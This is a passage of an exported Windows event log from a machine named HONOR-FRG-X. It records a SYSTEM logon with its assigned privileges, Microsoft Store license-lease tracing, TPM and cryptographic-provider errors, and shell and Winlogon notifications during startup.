Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:05.520\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:05.537\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.537\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.539\t8001\t\"Network connectivity level initialized to 0x1\nFunction: NetworkStatusMonitor::Initialize\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\networkstatusmonitor.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.539\t8002\t\"Capturing identity for LocalSystem, this probably isn't intended\nFunction: StoredIdentity::StoredIdentity\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\identity.cpp (536)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8001\t\"0000021F8316EE20: Key Machine for content: 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8011\t0x21f83133e68: 13668: RootMachine: Dispatch: Root:Connect => Root:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8001\t\"0000021F83133E50: BeginRootLicense\nFunction: RootMachine::DoBeginRootLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\rootmachine.cpp (201)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8012\t0x21f83133e68: 13668: Root:Initial Change: Root:Negotiating => RootMachine\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8011\t0x21f8316ee40: 13668: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8001\t\"0000021F8316EE20: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8012\t0x21f8316ee40: 13668: Key:Initial Change: Key:NegotiatingUnleased => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8011\t0x21f83133e68: 13668: RootMachine: Dispatch: Root:@LicenseDone => Root:Negotiating\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.540\t8012\t0x21f83133e68: 13668: Root:Negotiating Change: Root:Valid => RootMachine\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Considering License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Accepting key with License ID {2DA6CA43-2E6F-1F16-05AD-A9959043DDB7} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Considering License ID {8CB56148-398C-A7C4-98F2-6FDC89C2093D} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Ignoring key for 807d73a3-33f2-c21b-c47a-85c313d97af9 with quality fffffff (0xc0ea0009) (no better than best)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (251)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Considering License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for content ID 807d73a3-33f2-c21b-c47a-85c313d97af9...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Accepting key with License ID {BDBB3CA5-594E-7337-A093-A9860F553465} for Content ID 807d73a3-33f2-c21b-c47a-85c313d97af9 (better quality: 7f000000 vs 1fffffff)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (229)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Returning key document for contentid 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.543\t8001\t\"Getting lease for 807d73a3-33f2-c21b-c47a-85c313d97af9\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.547\t8001\t\"Ignoring otherwise matching lease ({33B013F2-4858-241D-9000-CA9374B3ADB5}) for Content ID 807D73A3-33F2-C21B-C47A-85C313D97AF9 because of quality 268435455 (0xc0ea000a)\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (396)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.547\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.547\t8001\t\"Adding lease {AE9143F3-8179-89B2-A3AF-FFC1D366D1AE} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.547\t8001\t\"Returning 1 lease documents for contentid 807D73A3-33F2-C21B-C47A-85C313D97AF9\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.548\t8001\t\"lease = 0x8316b288, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.548\t8001\t\"lease = 0x8316b288, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.548\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.548\t8011\t0x21f8316ee40: 13728: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.549\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.549\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.549\t9652\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.549\t9652\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.552\t8002\t\"Failure Message: hr: 0x80070490\nFunction: \nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\misc.cpp (49)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"lease = 0x8316b288, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"Lease Machine: 0000021F8312BD00: {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"Set results for lease = 0x8316b288, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8011\t0x21f8312bd20: 13732: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8012\t0x21f8312bd20: 13732: Lease:Initial Change: Lease:Valid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x8316b288\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8012\t0x21f8316ee40: 13728: Key:NegotiatingUnleased Change: Key:Valid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"Decoding: {}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.552\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.553\t8011\t0x21f8316ee40: 13680: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8011\t0x21f8316ee40: 13668: 807d73a3-33f2-c21b-c47a-85c313d97af9: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8012\t0x21f8316ee40: 13668: Key:Valid Change: Key:Invalid => 807d73a3-33f2-c21b-c47a-85c313d97af9\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8001\t\"Updating lease timer for {2CE050AC-4159-AABB-AC60-9CED070AF672} to expire @ 2026-09-11T13:58:38Z (jitter was 35.978432 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8001\t\"Added timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8011\t0x21f8312bd20: 13732: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8011\t0x21f8312bd20: 13732: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8011\t0x21f8312bd20: 13732: {2CE050AC-4159-AABB-AC60-9CED070AF672}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8012\t0x21f8312bd20: 13732: Lease:Valid Change: Lease:Invalid => {2CE050AC-4159-AABB-AC60-9CED070AF672}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.554\t8001\t\"Requesting lease document removal for reason 0x00000000, {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.555\t173\tProduct key from MSDM table redeemed. Result: 0x0\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:29:05.556\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"d529c25ce2dd4d20984a9fb8aa485213\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966592751892763&contentId=807d73a3-33f2-c21b-c47a-85c313d97af9&entitlementId=d529c25ce2dd4d20984a9fb8aa485213&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"bdbb3ca5-594e-7337-a093-a9860f553465\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"807d73a3-33f2-c21b-c47a-85c313d97af9\"\",\"\"packageType\"\":\"\"OS\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"BF712690PL09\"\",\"\"skuId\"\":\"\"0001\"\"}],\"\"pollAt\"\":\"\"2026-09-11T13:58:38.2670819+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.556\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.556\t8002\t\"Trying to remove timer {2CE050AC-4159-AABB-AC60-9CED070AF672} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.556\t8001\t\"Removed timer for {2CE050AC-4159-AABB-AC60-9CED070AF672}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.560\t9653\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.570\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:29:05.574\t603\tStarted deployment SetDefaultVolumeOperation operation on a package with main parameter  and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:05.580\t603\tStarted deployment SetMutablePackagesOnlineOperation operation on a package with main parameter  and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:05.582\t9653\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.583\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.596\t811\tThe winlogon notification subscriber  began handling the notification event (14).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:05.597\t812\tThe winlogon notification subscriber  finished handling the notification event (14).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:05.615\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.621\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.630\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tWindowsAIK_ECC_TPM_ECC_NIST_P256\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090011\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.630\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tWindowsAIK_ECC_TPM_ECC_NIST_P256\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090011\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.649\t3000\tTile session creation is requested for C:\\Windows\\explorer.exe endpoint 0x0.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:05.649\t3001\tTile session creation is finished for C:\\Windows\\explorer.exe from endpoint 0x0 with result The operation completed successfully., and 2 is assigned as session id. Queued Closes = 0, Queued Cleanups = 0\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:05.658\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 